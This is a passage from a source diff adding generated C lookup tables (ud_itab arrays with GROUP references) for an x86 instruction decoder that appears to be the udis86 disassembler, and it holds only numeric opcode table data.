0 */ 916, 0, +}; + +static const uint16_t ud_itab__627[] = { + /* 0 */ 918, 0, +}; + +static const uint16_t ud_itab__628[] = { + /* 0 */ 919, 0, +}; + +static const uint16_t ud_itab__629[] = { + /* 0 */ 920, 0, +}; + +static const uint16_t ud_itab__630[] = { + /* 0 */ 921, 0, +}; + +static const uint16_t ud_itab__631[] = { + /* 0 */ 922, 0, +}; + +static const uint16_t ud_itab__632[] = { + /* 0 */ 923, 0, +}; + +static const uint16_t ud_itab__633[] = { + /* 0 */ 924, 0, +}; + +static const uint16_t ud_itab__634[] = { + /* 0 */ 925, 0, +}; + +static const uint16_t ud_itab__626[] = { + /* 0 */ GROUP(627), GROUP(628), GROUP(629), GROUP(630), + /* 4 */ GROUP(631), GROUP(632), GROUP(633), GROUP(634), +}; + +static const uint16_t ud_itab__636[] = { + /* 0 */ 0, 926, +}; + +static const uint16_t ud_itab__637[] = { + /* 0 */ 0, 927, +}; + +static const uint16_t ud_itab__638[] = { + /* 0 */ 0, 928, +}; + +static const uint16_t ud_itab__639[] = { + /* 0 */ 0, 929, +}; + +static const uint16_t ud_itab__640[] = { + /* 0 */ 0, 930, +}; + +static const uint16_t ud_itab__641[] = { + /* 0 */ 0, 931, +}; + +static const uint16_t ud_itab__642[] = { + /* 0 */ 0, 932, +}; + +static const uint16_t ud_itab__643[] = { + /* 0 */ 0, 933, +}; + +static const uint16_t ud_itab__644[] = { + /* 0 */ 0, 934, +}; + +static const uint16_t ud_itab__645[] = { + /* 0 */ 0, 935, +}; + +static const uint16_t ud_itab__646[] = { + /* 0 */ 0, 936, +}; + +static const uint16_t ud_itab__647[] = { + /* 0 */ 0, 937, +}; + +static const uint16_t ud_itab__648[] = { + /* 0 */ 0, 938, +}; + +static const uint16_t ud_itab__649[] = { + /* 0 */ 0, 939, +}; + +static const uint16_t ud_itab__650[] = { + /* 0 */ 0, 940, +}; + +static const uint16_t ud_itab__651[] = { + /* 0 */ 0, 941, +}; + +static const uint16_t ud_itab__652[] = { + /* 0 */ 0, 942, +}; + +static const uint16_t ud_itab__653[] = { + /* 0 */ 0, 943, +}; + +static const uint16_t ud_itab__654[] = { + /* 0 */ 0, 944, +}; + +static const uint16_t ud_itab__655[] = { + /* 0 */ 0, 945, +}; + +static const uint16_t ud_itab__656[] = { + /* 0 */ 0, 946, +}; + +static const uint16_t ud_itab__657[] = { + /* 0 */ 0, 947, +}; + +static const uint16_t ud_itab__658[] = { + /* 0 */ 0, 948, +}; + +static const uint16_t ud_itab__659[] = { + /* 0 */ 0, 949, +}; + +static const uint16_t ud_itab__660[] = { + /* 0 */ 0, 950, +}; + +static const uint16_t ud_itab__661[] = { + /* 0 */ 0, 951, +}; + +static const uint16_t ud_itab__662[] = { + /* 0 */ 0, 952, +}; + +static const uint16_t ud_itab__663[] = { + /* 0 */ 0, 953, +}; + +static const uint16_t ud_itab__664[] = { + /* 0 */ 0, 954, +}; + +static const uint16_t ud_itab__665[] = { + /* 0 */ 0, 955, +}; + +static const uint16_t ud_itab__666[] = { + /* 0 */ 0, 956, +}; + +static const uint16_t ud_itab__667[] = { + /* 0 */ 0, 957, +}; + +static const uint16_t ud_itab__668[] = { + /* 0 */ 0, 958, +}; + +static const uint16_t ud_itab__669[] = { + /* 0 */ 0, 959, +}; + +static const uint16_t ud_itab__670[] = { + /* 0 */ 0, 960, +}; + +static const uint16_t ud_itab__671[] = { + /* 0 */ 0, 961, +}; + +static const uint16_t ud_itab__672[] = { + /* 0 */ 0, 962, +}; + +static const uint16_t ud_itab__673[] = { + /* 0 */ 0, 963, +}; + +static const uint16_t ud_itab__674[] = { + /* 0 */ 0, 964, +}; + +static const uint16_t ud_itab__675[] = { + /* 0 */ 0, 965, +}; + +static const uint16_t ud_itab__676[] = { + /* 0 */ 0, 966, +}; + +static const uint16_t ud_itab__677[] = { + /* 0 */ 0, 967, +}; + +static const uint16_t ud_itab__678[] = { + /* 0 */ 0, 968, +}; + +static const uint16_t ud_itab__679[] = { + /* 0 */ 0, 969, +}; + +static const uint16_t ud_itab__680[] = { + /* 0 */ 0, 970, +}; + +static const uint16_t ud_itab__681[] = { + /* 0 */ 0, 971, +}; + +static const uint16_t ud_itab__682[] = { + /* 0 */ 0, 972, +}; + +static const uint16_t ud_itab__683[] = { + /* 0 */ 0, 973, +}; + +static const uint16_t ud_itab__684[] = { + /* 0 */ 0, 974, +}; + +static const uint16_t ud_itab__685[] = { + /* 0 */ 0, 975, +}; + +static const uint16_t ud_itab__686[] = { + /* 0 */ 0, 976, +}; + +static const uint16_t ud_itab__687[] = { + /* 0 */ 0, 977, +}; + +static const uint16_t ud_itab__688[] = { + /* 0 */ 0, 978, +}; + +static const uint16_t ud_itab__689[] = { + /* 0 */ 0, 979, +}; + +static const uint16_t ud_itab__690[] = { + /* 0 */ 0, 980, +}; + +static const uint16_t ud_itab__691[] = { + /* 0 */ 0, 981, +}; + +static const uint16_t ud_itab__692[] = { + /* 0 */ 0, 982, +}; + +static const uint16_t ud_itab__693[] = { + /* 0 */ 0, 983, +}; + +static const uint16_t ud_itab__694[] = { + /* 0 */ 0, 984, +}; + +static const uint16_t ud_itab__695[] = { + /* 0 */ 0, 985, +}; + +static const uint16_t ud_itab__696[] = { + /* 0 */ 0, 986, +}; + +static const uint16_t ud_itab__697[] = { + /* 0 */ 0, 987, +}; + +static const uint16_t ud_itab__698[] = { + /* 0 */ 0, 988, +}; + +static const uint16_t ud_itab__699[] = { + /* 0 */ 0, 989, +}; + +static const uint16_t ud_itab__635[] = { + /* 0 */ GROUP(636), GROUP(637), GROUP(638), GROUP(639), + /* 4 */ GROUP(640), GROUP(641), GROUP(642), GROUP(643), + /* 8 */ GROUP(644), GROUP(645), GROUP(646), GROUP(647), + /* c */ GROUP(648), GROUP(649), GROUP(650), GROUP(651), + /* 10 */ GROUP(652), GROUP(653), GROUP(654), GROUP(655), + /* 14 */ GROUP(656), GROUP(657), GROUP(658), GROUP(659), + /* 18 */ GROUP(660), GROUP(661), GROUP(662), GROUP(663), + /* 1c */ GROUP(664), GROUP(665), GROUP(666), GROUP(667), + /* 20 */ GROUP(668), GROUP(669), GROUP(670), GROUP(671), + /* 24 */ GROUP(672), GROUP(673), GROUP(674), GROUP(675), + /* 28 */ GROUP(676), GROUP(677), GROUP(678), GROUP(679), + /* 2c */ GROUP(680), GROUP(681), GROUP(682), GROUP(683), + /* 30 */ GROUP(684), GROUP(685), GROUP(686), GROUP(687), + /* 34 */ GROUP(688), GROUP(689), GROUP(690), GROUP(691), + /* 38 */ GROUP(692), GROUP(693), GROUP(694), GROUP(695), + /* 3c */ GROUP(696), GROUP(697), GROUP(698), GROUP(699), +}; + +static const uint16_t ud_itab__625[] = { + /* 0 */ GROUP(626), GROUP(635), +}; + +static const uint16_t ud_itab__702[] = { + /* 0 */ 990, 0, +}; + +static const uint16_t ud_itab__703[] = { + /* 0 */ 991, 0, +}; + +static const uint16_t ud_itab__704[] = { + /* 0 */ 992, 0, +}; + +static const uint16_t ud_itab__705[] = { + /* 0 */ 993, 0, +}; + +static const uint16_t ud_itab__706[] = { + /* 0 */ 994, 0, +}; + +static const uint16_t ud_itab__707[] = { + /* 0 */ 995, 0, +}; + +static const uint16_t ud_itab__708[] = { + /* 0 */ 996, 0, +}; + +static const uint16_t ud_itab__701[] = { + /* 0 */ GROUP(702), 0, GROUP(703), GROUP(704), + /* 4 */ GROUP(705), GROUP(706), GROUP(707), GROUP(708), +}; + +static const uint16_t ud_itab__710[] = { + /* 0 */ 0, 997, +}; + +static const uint16_t ud_itab__711[] = { + /* 0 */ 0, 998, +}; + +static const uint16_t ud_itab__712[] = { + /* 0 */ 0, 999, +}; + +static const uint16_t ud_itab__713[] = { + /* 0 */ 0, 1000, +}; + +static const uint16_t ud_itab__714[] = { + /* 0 */ 0, 1001, +}; + +static const uint16_t ud_itab__715[] = { + /* 0 */ 0, 1002, +}; + +static const uint16_t ud_itab__716[] = { + /* 0 */ 0, 1003, +}; + +static const uint16_t ud_itab__717[] = { + /* 0 */ 0, 1004, +}; + +static const uint16_t ud_itab__718[] = { + /* 0 */ 0, 1005, +}; + +static const uint16_t ud_itab__719[] = { + /* 0 */ 0, 1006, +}; + +static const uint16_t ud_itab__720[] = { + /* 0 */ 0, 1007, +}; + +static const uint16_t ud_itab__721[] = { + /* 0 */ 0, 1008, +}; + +static const uint16_t ud_itab__722[] = { + /* 0 */ 0, 1009, +}; + +static const uint16_t ud_itab__723[] = { + /* 0 */ 0, 1010, +}; + +static const uint16_t ud_itab__724[] = { + /* 0 */ 0, 1011, +}; + +static const uint16_t ud_itab__725[] = { + /* 0 */ 0, 1012, +}; + +static const uint16_t ud_itab__726[] = { + /* 0 */ 0, 1013, +}; + +static const uint16_t ud_itab__727[] = { + /* 0 */ 0, 1014, +}; + +static const uint16_t ud_itab__728[] = { + /* 0 */ 0, 1015, +}; + +static const uint16_t ud_itab__729[] = { + /* 0 */ 0, 1016, +}; + +static const uint16_t ud_itab__730[] = { + /* 0 */ 0, 1017, +}; + +static const uint16_t ud_itab__731[] = { + /* 0 */ 0, 1018, +}; + +static const uint16_t ud_itab__732[] = { + /* 0 */ 0, 1019, +}; + +static const uint16_t ud_itab__733[] = { + /* 0 */ 0, 1020, +}; + +static const uint16_t ud_itab__734[] = { + /* 0 */ 0, 1021, +}; + +static const uint16_t ud_itab__735[] = { + /* 0 */ 0, 1022, +}; + +static const uint16_t ud_itab__736[] = { + /* 0 */ 0, 1023, +}; + +static const uint16_t ud_itab__737[] = { + /* 0 */ 0, 1024, +}; + +static const uint16_t ud_itab__738[] = { + /* 0 */ 0, 1025, +}; + +static const uint16_t ud_itab__739[] = { + /* 0 */ 0, 1026, +}; + +static const uint16_t ud_itab__740[] = { + /* 0 */ 0, 1027, +}; + +static const uint16_t ud_itab__741[] = { + /* 0 */ 0, 1028, +}; + +static const uint16_t ud_itab__742[] = { + /* 0 */ 0, 1029, +}; + +static const uint16_t ud_itab__743[] = { + /* 0 */ 0, 1030, +}; + +static const uint16_t ud_itab__744[] = { + /* 0 */ 0, 1031, +}; + +static const uint16_t ud_itab__745[] = { + /* 0 */ 0, 1032, +}; + +static const uint16_t ud_itab__746[] = { + /* 0 */ 0, 1033, +}; + +static const uint16_t ud_itab__747[] = { + /* 0 */ 0, 1034, +}; + +static const uint16_t ud_itab__748[] = { + /* 0 */ 0, 1035, +}; + +static const uint16_t ud_itab__749[] = { + /* 0 */ 0, 1036, +}; + +static const uint16_t ud_itab__750[] = { + /* 0 */ 0, 1037, +}; + +static const uint16_t ud_itab__751[] = { + /* 0 */ 0, 1038, +}; + +static const uint16_t ud_itab__752[] = { + /* 0 */ 0, 1039, +}; + +static const uint16_t ud_itab__753[] = { + /* 0 */ 0, 1040, +}; + +static const uint16_t ud_itab__754[] = { + /* 0 */ 0, 1041, +}; + +static const uint16_t ud_itab__755[] = { + /* 0 */ 0, 1042, +}; + +static const uint16_t ud_itab__756[] = { + /* 0 */ 0, 1043, +}; + +static const uint16_t ud_itab__757[] = { + /* 0 */ 0, 1044, +}; + +static const uint16_t ud_itab__758[] = { + /* 0 */ 0, 1045, +}; + +static const uint16_t ud_itab__759[] = { + /* 0 */ 0, 1046, +}; + +static const uint16_t ud_itab__760[] = { + /* 0 */ 0, 1047, +}; + +static const uint16_t ud_itab__761[] = { + /* 0 */ 0, 1048, +}; + +static const uint16_t ud_itab__709[] = { + /* 0 */ GROUP(710), GROUP(711), GROUP(712), GROUP(713), + /* 4 */ GROUP(714), GROUP(715), GROUP(716), GROUP(717), + /* 8 */ GROUP(718), GROUP(719), GROUP(720), GROUP(721), + /* c */ GROUP(722), GROUP(723), GROUP(724), GROUP(725), + /* 10 */ GROUP(726), 0, 0, 0, + /* 14 */ 0, 0, 0, 0, + /* 18 */ GROUP(727), GROUP(728), GROUP(729), GROUP(730), + /* 1c */ GROUP(731), GROUP(732), GROUP(733), GROUP(734), + /* 20 */ GROUP(735), GROUP(736), 0, 0, + /* 24 */ GROUP(737), GROUP(738), 0, 0, + /* 28 */ GROUP(739), GROUP(740), GROUP(741), GROUP(742), + /* 2c */ GROUP(743), GROUP(744), GROUP(745), 0, + /* 30 */ GROUP(746), GROUP(747), GROUP(748), GROUP(749), + /* 34 */ GROUP(750), GROUP(751), GROUP(752), GROUP(753), + /* 38 */ GROUP(754), GROUP(755), GROUP(756), GROUP(757), + /* 3c */ GROUP(758), GROUP(759), GROUP(760), GROUP(761), +}; + +static const uint16_t ud_itab__700[] = { + /* 0 */ GROUP(701), GROUP(709), +}; + +static const uint16_t ud_itab__764[] = { + /* 0 */ 1049, 0, +}; + +static const uint16_t ud_itab__765[] = { + /* 0 */ 1050, 0, +}; + +static const uint16_t ud_itab__766[] = { + /* 0 */ 1051, 0, +}; + +static const uint16_t ud_itab__767[] = { + /* 0 */ 1052, 0, +}; + +static const uint16_t ud_itab__768[] = { + /* 0 */ 1053, 0, +}; + +static const uint16_t ud_itab__769[] = { + /* 0 */ 1054, 0, +}; + +static const uint16_t ud_itab__770[] = { + /* 0 */ 1055, 0, +}; + +static const uint16_t ud_itab__771[] = { + /* 0 */ 1056, 0, +}; + +static const uint16_t ud_itab__763[] = { + /* 0 */ GROUP(764), GROUP(765), GROUP(766), GROUP(767), + /* 4 */ GROUP(768), GROUP(769), GROUP(770), GROUP(771), +}; + +static const uint16_t ud_itab__773[] = { + /* 0 */ 0, 1057, +}; + +static const uint16_t ud_itab__774[] = { + /* 0 */ 0, 1058, +}; + +static const uint16_t ud_itab__775[] = { + /* 0 */ 0, 1059, +}; + +static const uint16_t ud_itab__776[] = { + /* 0 */ 0, 1060, +}; + +static const uint16_t ud_itab__777[] = { + /* 0 */ 0, 1061, +}; + +static const uint16_t ud_itab__778[] = { + /* 0 */ 0, 1062, +}; + +static const uint16_t ud_itab__779[] = { + /* 0 */ 0, 1063, +}; + +static const uint16_t ud_itab__780[] = { + /* 0 */ 0, 1064, +}; + +static const uint16_t ud_itab__781[] = { + /* 0 */ 0, 1065, +}; + +static const uint16_t ud_itab__782[] = { + /* 0 */ 0, 1066, +}; + +static const uint16_t ud_itab__783[] = { + /* 0 */ 0, 1067, +}; + +static const uint16_t ud_itab__784[] = { + /* 0 */ 0, 1068, +}; + +static const uint16_t ud_itab__785[] = { + /* 0 */ 0, 1069, +}; + +static const uint16_t ud_itab__786[] = { + /* 0 */ 0, 1070, +}; + +static const uint16_t ud_itab__787[] = { + /* 0 */ 0, 1071, +}; + +static const uint16_t ud_itab__788[] = { + /* 0 */ 0, 1072, +}; + +static const uint16_t ud_itab__789[] = { + /* 0 */ 0, 1073, +}; + +static const uint16_t ud_itab__790[] = { + /* 0 */ 0, 1074, +}; + +static const uint16_t ud_itab__791[] = { + /* 0 */ 0, 1075, +}; + +static const uint16_t ud_itab__792[] = { + /* 0 */ 0, 1076, +}; + +static const uint16_t ud_itab__793[] = { + /* 0 */ 0, 1077, +}; + +static const uint16_t ud_itab__794[] = { + /* 0 */ 0, 1078, +}; + +static const uint16_t ud_itab__795[] = { + /* 0 */ 0, 1079, +}; + +static const uint16_t ud_itab__796[] = { + /* 0 */ 0, 1080, +}; + +static const uint16_t ud_itab__797[] = { + /* 0 */ 0, 1081, +}; + +static const uint16_t ud_itab__798[] = { + /* 0 */ 0, 1082, +}; + +static const uint16_t ud_itab__799[] = { + /* 0 */ 0, 1083, +}; + +static const uint16_t ud_itab__800[] = { + /* 0 */ 0, 1084, +}; + +static const uint16_t ud_itab__801[] = { + /* 0 */ 0, 1085, +}; + +static const uint16_t ud_itab__802[] = { + /* 0 */ 0, 1086, +}; + +static const uint16_t ud_itab__803[] = { + /* 0 */ 0, 1087, +}; + +static const uint16_t ud_itab__804[] = { + /* 0 */ 0, 1088, +}; + +static const uint16_t ud_itab__805[] = { + /* 0 */ 0, 1089, +}; + +static const uint16_t ud_itab__772[] = { + /* 0 */ GROUP(773), GROUP(774), GROUP(775), GROUP(776), + /* 4 */ GROUP(777), GROUP(778), GROUP(779), GROUP(780), + /* 8 */ GROUP(781), GROUP(782), GROUP(783), GROUP(784), + /* c */ GROUP(785), GROUP(786), GROUP(787), GROUP(788), + /* 10 */ GROUP(789), GROUP(790), GROUP(791), GROUP(792), + /* 14 */ GROUP(793), GROUP(794), GROUP(795), GROUP(796), + /* 18 */ GROUP(797), GROUP(798), GROUP(799), GROUP(800), + /* 1c */ GROUP(801), GROUP(802), GROUP(803), GROUP(804), + /* 20 */ 0, 0, 0, 0, + /* 24 */ 0, 0, 0, 0, + /* 28 */ 0, GROUP(805), 0, 0, + /* 2c */ 0, 0, 0, 0, + /* 30 */ 0, 0, 0, 0, + /* 34 */ 0, 0, 0, 0, + /* 38 */ 0, 0, 0, 0, + /* 3c */ 0, 0, 0, 0, +}; + +static const uint16_t ud_itab__762[] = { + /* 0 */ GROUP(763), GROUP(772), +}; + +static const uint16_t ud_itab__808[] = { + /* 0 */ 1090, 0, +}; + +static const uint16_t ud_itab__809[] = { + /* 0 */ 1091, 0, +}; + +static const uint16_t ud_itab__810[] = { + /* 0 */ 1092, 0, +}; + +static const uint16_t ud_itab__811[] = { + /* 0 */ 1093, 0, +}; + +static const uint16_t ud_itab__812[] = { + /* 0 */ 1094, 0, +}; + +static const uint16_t ud_itab__813[] = { + /* 0 */ 1095, 0, +}; + +static const uint16_t ud_itab__807[] = { + /* 0 */ GROUP(808), GROUP(809), GROUP(810), GROUP(811), + /* 4 */ 0, GROUP(812), 0, GROUP(813), +}; + +static const uint16_t ud_itab__815[] = { + /* 0 */ 0, 1096, +}; + +static const uint16_t ud_itab__816[] = { + /* 0 */ 0, 1097, +}; + +static const uint16_t ud_itab__817[] = { + /* 0 */ 0, 1098, +}; + +static const uint16_t ud_itab__818[] = { + /* 0 */ 0, 1099, +}; + +static const uint16_t ud_itab__819[] = { + /* 0 */ 0, 1100, +}; + +static const uint16_t ud_itab__820[] = { + /* 0 */ 0, 1101, +}; + +static const uint16_t ud_itab__821[] = { + /* 0 */ 0, 1102, +}; + +static const uint16_t ud_itab__822[] = { + /* 0 */ 0, 1103, +}; + +static const uint16_t ud_itab__823[] = { + /* 0 */ 0, 1104, +}; + +static const uint16_t ud_itab__824[] = { + /* 0 */ 0, 1105, +}; + +static const uint16_t ud_itab__825[] = { + /* 0 */ 0, 1106, +}; + +static const uint16_t ud_itab__826[] = { + /* 0 */ 0, 1107, +}; + +static const uint16_t ud_itab__827[] = { + /* 0 */ 0, 1108, +}; + +static const uint16_t ud_itab__828[] = { + /* 0 */ 0, 1109, +}; + +static const uint16_t ud_itab__829[] = { + /* 0 */ 0, 1110, +}; + +static const uint16_t ud_itab__830[] = { + /* 0 */ 0, 1111, +}; + +static const uint16_t ud_itab__831[] = { + /* 0 */ 0, 1112, +}; + +static const uint16_t ud_itab__832[] = { + /* 0 */ 0, 1113, +}; + +static const uint16_t ud_itab__833[] = { + /* 0 */ 0, 1114, +}; + +static const uint16_t ud_itab__834[] = { + /* 0 */ 0, 1115, +}; + +static const uint16_t ud_itab__835[] = { + /* 0 */ 0, 1116, +}; + +static const uint16_t ud_itab__836[] = { + /* 0 */ 0, 1117, +}; + +static const uint16_t ud_itab__837[] = { + /* 0 */ 0, 1118, +}; + +static const uint16_t ud_itab__838[] = { + /* 0 */ 0, 1119, +}; + +static const uint16_t ud_itab__839[] = { + /* 0 */ 0, 1120, +}; + +static const uint16_t ud_itab__840[] = { + /* 0 */ 0, 1121, +}; + +static const uint16_t ud_itab__841[] = { + /* 0 */ 0, 1122, +}; + +static const uint16_t ud_itab__842[] = { + /* 0 */ 0, 1123, +}; + +static const uint16_t ud_itab__843[] = { + /* 0 */ 0, 1124, +}; + +static const uint16_t ud_itab__844[] = { + /* 0 */ 0, 1125, +}; + +static const uint16_t ud_itab__845[] = { + /* 0 */ 0, 1126, +}; + +static const uint16_t ud_itab__846[] = { + /* 0 */ 0, 1127, +}; + +static const uint16_t ud_itab__847[] = { + /* 0 */ 0, 1128, +}; + +static const uint16_t ud_itab__848[] = { + /* 0 */ 0, 1129, +}; + +static const uint16_t ud_itab__849[] = { + /* 0 */ 0, 1130, +}; + +static const uint16_t ud_itab__850[] = { + /* 0 */ 0, 1131, +}; + +static const uint16_t ud_itab__851[] = { + /* 0 */ 0, 1132, +}; + +static const uint16_t ud_itab__852[] = { + /* 0 */ 0, 1133, +}; + +static const uint16_t ud_itab__853[] = { + /* 0 */ 0, 1134, +}; + +static const uint16_t ud_itab__854[] = { + /* 0 */ 0, 1135, +}; + +static const uint16_t ud_itab__855[] = { + /* 0 */ 0, 1136, +}; + +static const uint16_t ud_itab__856[] = { + /* 0 */ 0, 1137, +}; + +static const uint16_t ud_itab__857[] = { + /* 0 */ 0, 1138, +}; + +static const uint16_t ud_itab__858[] = { + /* 0 */ 0, 1139, +}; + +static const uint16_t ud_itab__859[] = { + /* 0 */ 0, 1140, +}; + +static const uint16_t ud_itab__860[] = { + /* 0 */ 0, 1141, +}; + +static const uint16_t ud_itab__861[] = { + /* 0 */ 0, 1142, +}; + +static const uint16_t ud_itab__862[] = { + /* 0 */ 0, 1143, +}; + +static const uint16_t ud_itab__863[] = { + /* 0 */ 0, 1144, +}; + +static const uint16_t ud_itab__864[] = { + /* 0 */ 0, 1145, +}; + +static const uint16_t ud_itab__814[] = { + /* 0 */ GROUP(815), GROUP(816), GROUP(817), GROUP(818), + /* 4 */ GROUP(819), GROUP(820), GROUP(821), GROUP(822), + /* 8 */ GROUP(823), GROUP(824), GROUP(825), GROUP(826), + /* c */ GROUP(827), GROUP(828), GROUP(829), GROUP(830), + /* 10 */ GROUP(831), GROUP(832), GROUP(833), GROUP(834), + /* 14 */ GROUP(835), GROUP(836), GROUP(837), GROUP(838), + /* 18 */ GROUP(839), GROUP(840), GROUP(841), GROUP(842), + /* 1c */ GROUP(843), GROUP(844), GROUP(845), GROUP(846), + /* 20 */ 0, 0, GROUP(847), GROUP(848), + /* 24 */ 0, 0, 0, 0, + /* 28 */ GROUP(849), GROUP(850), GROUP(851), GROUP(852), + /* 2c */ GROUP(853), GROUP(854), GROUP(855), GROUP(856), + /* 30 */ GROUP(857), GROUP(858), GROUP(859), GROUP(860), + /* 34 */ GROUP(861), GROUP(862), GROUP(863), GROUP(864), + /* 38 */ 0, 0, 0, 0, + /* 3c */ 0, 0, 0, 0, +}; + +static const uint16_t ud_itab__806[] = { + /* 0 */ GROUP(807), GROUP(814), +}; + +static const uint16_t ud_itab__867[] = { + /* 0 */ 1146, 0, +}; + +static const uint16_t ud_itab__868[] = { + /* 0 */ 1147, 0, +}; + +static const uint16_t ud_itab__869[] = { + /* 0 */ 1148, 0, +}; + +static const uint16_t ud_itab__870[] = { + /* 0 */ 1149, 0, +}; + +static const uint16_t ud_itab__871[] = { + /* 0 */ 1150, 0, +}; + +static const uint16_t ud_itab__872[] = { + /* 0 */ 1151, 0, +}; + +static const uint16_t ud_itab__873[] = { + /* 0 */ 1152, 0, +}; + +static const uint16_t ud_itab__874[] = { + /* 0 */ 1153, 0, +}; + +static const uint16_t ud_itab__866[] = { + /* 0 */ GROUP(867), GROUP(868), GROUP(869), GROUP(870), + /* 4 */ GROUP(871), GROUP(872), GROUP(873), GROUP(874), +}; + +static const uint16_t ud_itab__876[] = { + /* 0 */ 0, 1154, +}; + +static const uint16_t ud_itab__877[] = { + /* 0 */ 0, 1155, +}; + +static const uint16_t ud_itab__878[] = { + /* 0 */ 0, 1156, +}; + +static const uint16_t ud_itab__879[] = { + /* 0 */ 0, 1157, +}; + +static const uint16_t ud_itab__880[] = { + /* 0 */ 0, 1158, +}; + +static const uint16_t ud_itab__881[] = { + /* 0 */ 0, 1159, +}; + +static const uint16_t ud_itab__882[] = { + /* 0 */ 0, 1160, +}; + +static const uint16_t ud_itab__883[] = { + /* 0 */ 0, 1161, +}; + +static const uint16_t ud_itab__884[] = { + /* 0 */ 0, 1162, +}; + +static const uint16_t ud_itab__885[] = { + /* 0 */ 0, 1163, +}; + +static const uint16_t ud_itab__886[] = { + /* 0 */ 0, 1164, +}; + +static const uint16_t ud_itab__887[] = { + /* 0 */ 0, 1165, +}; + +static const uint16_t ud_itab__888[] = { + /* 0 */ 0, 1166, +}; + +static const uint16_t ud_itab__889[] = { + /* 0 */ 0, 1167, +}; + +static const uint16_t ud_itab__890[] = { + /* 0 */ 0, 1168, +}; + +static const uint16_t ud_itab__891[] = { + /* 0 */ 0, 1169, +}; + +static const uint16_t ud_itab__892[] = { + /* 0 */ 0, 1170, +}; + +static const uint16_t ud_itab__893[] = { + /* 0 */ 0, 1171, +}; + +static const uint16_t ud_itab__894[] = { + /* 0 */ 0, 1172, +}; + +static const uint16_t ud_itab__895[] = { + /* 0 */ 0, 1173, +}; + +static const uint16_t ud_itab__896[] = { + /* 0 */ 0, 1174, +}; + +static const uint16_t ud_itab__897[] = { + /* 0 */ 0, 1175, +}; + +static const uint16_t ud_itab__898[] = { + /* 0 */ 0, 1176, +}; + +static const uint16_t ud_itab__899[] = { + /* 0 */ 0, 1177, +}; + +static const uint16_t ud_itab__900[] = { + /* 0 */ 0, 1178, +}; + +static const uint16_t ud_itab__901[] = { + /* 0 */ 0, 1179, +}; + +static const uint16_t ud_itab__902[] = { + /* 0 */ 0, 1180, +}; + +static const uint16_t ud_itab__903[] = { + /* 0 */ 0, 1181, +}; + +static const uint16_t ud_itab__904[] = { + /* 0 */ 0, 1182, +}; + +static const uint16_t ud_itab__905[] = { + /* 0 */ 0, 1183, +}; + +static const uint16_t ud_itab__906[] = { + /* 0 */ 0, 1184, +}; + +static const uint16_t ud_itab__907[] = { + /* 0 */ 0, 1185, +}; + +static const uint16_t ud_itab__908[] = { + /* 0 */ 0, 1186, +}; + +static const uint16_t ud_itab__909[] = { + /* 0 */ 0, 1187, +}; + +static const uint16_t ud_itab__910[] = { + /* 0 */ 0, 1188, +}; + +static const uint16_t ud_itab__911[] = { + /* 0 */ 0, 1189, +}; + +static const uint16_t ud_itab__912[] = { + /* 0 */ 0, 1190, +}; + +static const uint16_t ud_itab__913[] = { + /* 0 */ 0, 1191, +}; + +static const uint16_t ud_itab__914[] = { + /* 0 */ 0, 1192, +}; + +static const uint16_t ud_itab__915[] = { + /* 0 */ 0, 1193, +}; + +static const uint16_t ud_itab__916[] = { + /* 0 */ 0, 1194, +}; + +static const uint16_t ud_itab__917[] = { + /* 0 */ 0, 1195, +}; + +static const uint16_t ud_itab__918[] = { + /* 0 */ 0, 1196, +}; + +static const uint16_t ud_itab__919[] = { + /* 0 */ 0, 1197, +}; + +static const uint16_t ud_itab__920[] = { + /* 0 */ 0, 1198, +}; + +static const uint16_t ud_itab__921[] = { + /* 0 */ 0, 1199, +}; + +static const uint16_t ud_itab__922[] = { + /* 0 */ 0, 1200, +}; + +static const uint16_t ud_itab__923[] = { + /* 0 */ 0, 1201, +}; + +static const uint16_t ud_itab__924[] = { + /* 0 */ 0, 1202, +}; + +static const uint16_t ud_itab__925[] = { + /* 0 */ 0, 1203, +}; + +static const uint16_t ud_itab__926[] = { + /* 0 */ 0, 1204, +}; + +static const uint16_t ud_itab__927[] = { + /* 0 */ 0, 1205, +}; + +static const uint16_t ud_itab__928[] = { + /* 0 */ 0, 1206, +}; + +static const uint16_t ud_itab__929[] = { + /* 0 */ 0, 1207, +}; + +static const uint16_t ud_itab__930[] = { + /* 0 */ 0, 1208, +}; + +static const uint16_t ud_itab__931[] = { + /* 0 */ 0, 1209, +}; + +static const uint16_t ud_itab__932[] = { + /* 0 */ 0, 1210, +}; + +static const uint16_t ud_itab__933[] = { + /* 0 */ 0, 1211, +}; + +static const uint16_t ud_itab__934[] = { + /* 0 */ 0, 1212, +}; + +static const uint16_t ud_itab__935[] = { + /* 0 */ 0, 1213, +}; + +static const uint16_t ud_itab__936[] = { + /* 0 */ 0, 1214, +}; + +static const uint16_t ud_itab__937[] = { + /* 0 */ 0, 1215, +}; + +static const uint16_t ud_itab__938[] = { + /* 0 */ 0, 1216, +}; + +static const uint16_t ud_itab__939[] = { + /* 0 */ 0, 1217, +}; + +static const uint16_t ud_itab__875[] = { + /* 0 */ GROUP(876), GROUP(877), GROUP(878), GROUP(879), + /* 4 */ GROUP(880), GROUP(881), GROUP(882), GROUP(883), + /* 8 */ GROUP(884), GROUP(885), GROUP(886), GROUP(887), + /* c */ GROUP(888), GROUP(889), GROUP(890), GROUP(891), + /* 10 */ GROUP(892), GROUP(893), GROUP(894), GROUP(895), + /* 14 */ GROUP(896), GROUP(897), GROUP(898), GROUP(899), + /* 18 */ GROUP(900), GROUP(901), GROUP(902), GROUP(903), + /* 1c */ GROUP(904), GROUP(905), GROUP(906), GROUP(907), + /* 20 */ GROUP(908), GROUP(909), GROUP(910), GROUP(911), + /* 24 */ GROUP(912), GROUP(913), GROUP(914), GROUP(915), + /* 28 */ GROUP(916), GROUP(917), GROUP(918), GROUP(919), + /* 2c */ GROUP(920), GROUP(921), GROUP(922), GROUP(923), + /* 30 */ GROUP(924), GROUP(925), GROUP(926), GROUP(927), + /* 34 */ GROUP(928), GROUP(929), GROUP(930), GROUP(931), + /* 38 */ GROUP(932), GROUP(933), GROUP(934), GROUP(935), + /* 3c */ GROUP(936), GROUP(937), GROUP(938), GROUP(939), +}; + +static const uint16_t ud_itab__865[] = { + /* 0 */ GROUP(866), GROUP(875), +}; + +static const uint16_t ud_itab__942[] = { + /* 0 */ 1218, 0, +}; + +static const uint16_t ud_itab__943[] = { + /* 0 */ 1219, 0, +}; + +static const uint16_t ud_itab__944[] = { + /* 0 */ 1220, 0, +}; + +static const uint16_t ud_itab__945[] = { + /* 0 */ 1221, 0, +}; + +static const uint16_t ud_itab__946[] = { + /* 0 */ 1222, 0, +}; + +static const uint16_t ud_itab__947[] = { + /* 0 */ 1223, 